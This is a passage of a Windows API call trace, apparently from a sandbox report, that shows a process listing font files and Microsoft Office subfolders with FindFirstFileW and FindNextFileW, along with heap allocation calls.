cFileName="GOUDYSTO.TTF", cAlternateFileName="")) returned 1 [0284.321] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88a0d71e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88a0d71e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8966a531, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="HARLOWSI.TTF", cAlternateFileName="")) returned 1 [0284.321] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x889e7568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x889e7568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89395811, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11328, dwReserved0=0x0, dwReserved1=0x0, cFileName="HARNGTON.TTF", cAlternateFileName="")) returned 1 [0284.321] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86e2fdc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86e2fdc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c602ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1a878, dwReserved0=0x0, dwReserved1=0x0, cFileName="HATTEN.TTF", cAlternateFileName="")) returned 1 [0284.321] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88a0d71e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88a0d71e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8966a531, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x16a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="HTOWERT.TTF", cAlternateFileName="")) returned 1 [0284.321] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x889e7568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x889e7568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89395811, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x123d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HTOWERTI.TTF", cAlternateFileName="")) returned 1 [0284.322] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x889e7568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x889e7568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89395811, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xec48, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMPRISHA.TTF", cAlternateFileName="")) returned 1 [0284.322] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x889e7568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x889e7568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8936f68c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x124d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFROMAN.TTF", cAlternateFileName="")) returned 1 [0284.322] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x889e7568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x889e7568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8936f68c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x20514, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITCBLKAD.TTF", cAlternateFileName="")) returned 1 [0284.322] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x889e7568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x889e7568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8936f68c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITCEDSCR.TTF", cAlternateFileName="")) returned 1 [0284.322] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88a0d71e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88a0d71e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8936f68c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe940, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITCKRIST.TTF", cAlternateFileName="")) returned 1 [0284.322] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88a0d71e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88a0d71e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8936f68c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11078, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOKERMAN.TTF", cAlternateFileName="")) returned 1 [0284.322] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88a0d71e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88a0d71e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89395811, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUICE___.TTF", cAlternateFileName="")) returned 1 [0284.322] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88a0d71e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88a0d71e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8936f68c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KUNSTLER.TTF", cAlternateFileName="")) returned 1 [0284.322] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88a0d71e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88a0d71e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8936f68c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaf18, dwReserved0=0x0, dwReserved1=0x0, cFileName="LATINWD.TTF", cAlternateFileName="")) returned 1 [0284.323] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88a0d71e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88a0d71e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x894a08cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1145c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LBRITE.TTF", cAlternateFileName="")) returned 1 [0284.323] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88a0d71e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88a0d71e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x894a08cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x104a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LBRITED.TTF", cAlternateFileName="")) returned 1 [0284.326] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88a0d71e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88a0d71e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8936f68c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11720, dwReserved0=0x0, dwReserved1=0x0, cFileName="LBRITEDI.TTF", cAlternateFileName="")) returned 1 [0284.326] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88c79ac7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88c79ac7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8966a531, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11558, dwReserved0=0x0, dwReserved1=0x0, cFileName="LBRITEI.TTF", cAlternateFileName="")) returned 1 [0284.326] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86e2fdc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86e2fdc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86ff9a7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd8a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LCALLIG.TTF", cAlternateFileName="")) returned 1 [0284.327] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88a0d71e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88a0d71e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c3a0a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x16f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEELAWAD.TTF", cAlternateFileName="")) returned 1 [0284.327] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c602ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x16e8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEELAWDB.TTF", cAlternateFileName="")) returned 1 [0284.327] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8829a0da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LFAX.TTF", cAlternateFileName="")) returned 1 [0284.327] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c602ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf294, dwReserved0=0x0, dwReserved1=0x0, cFileName="LFAXD.TTF", cAlternateFileName="")) returned 1 [0284.327] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c602ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11730, dwReserved0=0x0, dwReserved1=0x0, cFileName="LFAXDI.TTF", cAlternateFileName="")) returned 1 [0284.327] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c602ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1075c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LFAXI.TTF", cAlternateFileName="")) returned 1 [0284.327] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c86544, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf414, dwReserved0=0x0, dwReserved1=0x0, cFileName="LHANDW.TTF", cAlternateFileName="")) returned 1 [0284.327] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="LSANS.TTF", cAlternateFileName="")) returned 1 [0284.327] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c86544, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xea48, dwReserved0=0x0, dwReserved1=0x0, cFileName="LSANSD.TTF", cAlternateFileName="")) returned 1 [0284.328] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c86544, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10310, dwReserved0=0x0, dwReserved1=0x0, cFileName="LSANSDI.TTF", cAlternateFileName="")) returned 1 [0284.328] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c86544, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xff84, dwReserved0=0x0, dwReserved1=0x0, cFileName="LSANSI.TTF", cAlternateFileName="")) returned 1 [0284.328] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c86544, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LTYPE.TTF", cAlternateFileName="")) returned 1 [0284.328] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89ddda54, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xce84, dwReserved0=0x0, dwReserved1=0x0, cFileName="LTYPEB.TTF", cAlternateFileName="")) returned 1 [0284.328] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89ddda54, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LTYPEBO.TTF", cAlternateFileName="")) returned 1 [0284.328] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89ddda54, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xff84, dwReserved0=0x0, dwReserved1=0x0, cFileName="LTYPEO.TTF", cAlternateFileName="")) returned 1 [0284.328] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xff04, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAGNETOB.TTF", cAlternateFileName="")) returned 1 [0284.329] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89ddda54, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xefc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAIAN.TTF", cAlternateFileName="")) returned 1 [0284.329] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89ddda54, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc860, dwReserved0=0x0, dwReserved1=0x0, cFileName="MATURASC.TTF", cAlternateFileName="")) returned 1 [0284.331] GetProcessHeap () returned 0xaf0000 [0284.333] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0284.334] GetProcessHeap () returned 0xaf0000 [0284.334] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0284.335] GetProcessHeap () returned 0xaf0000 [0284.335] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0284.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xaf31749c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0284.336] GetProcessHeap () returned 0xaf0000 [0284.336] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0284.337] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\DESIGNER\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb975fdf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb975fdf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb975fdf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0284.337] GetProcessHeap () returned 0xaf0000 [0284.337] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0284.337] GetProcessHeap () returned 0xaf0000 [0284.337] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0284.337] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0284.338] GetProcessHeap () returned 0xaf0000 [0284.338] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0284.338] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf477755d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x246bb96e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x246bb96e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0284.340] GetProcessHeap () returned 0xaf0000 [0284.340] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0284.341] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\1033\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf477755d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf477755d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf47e9c8f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0284.341] GetProcessHeap () returned 0xaf0000 [0284.341] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0284.341] GetProcessHeap () returned 0xaf0000 [0284.341] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0284.343] GetProcessHeap () returned 0xaf0000 [0284.343] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0284.451] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 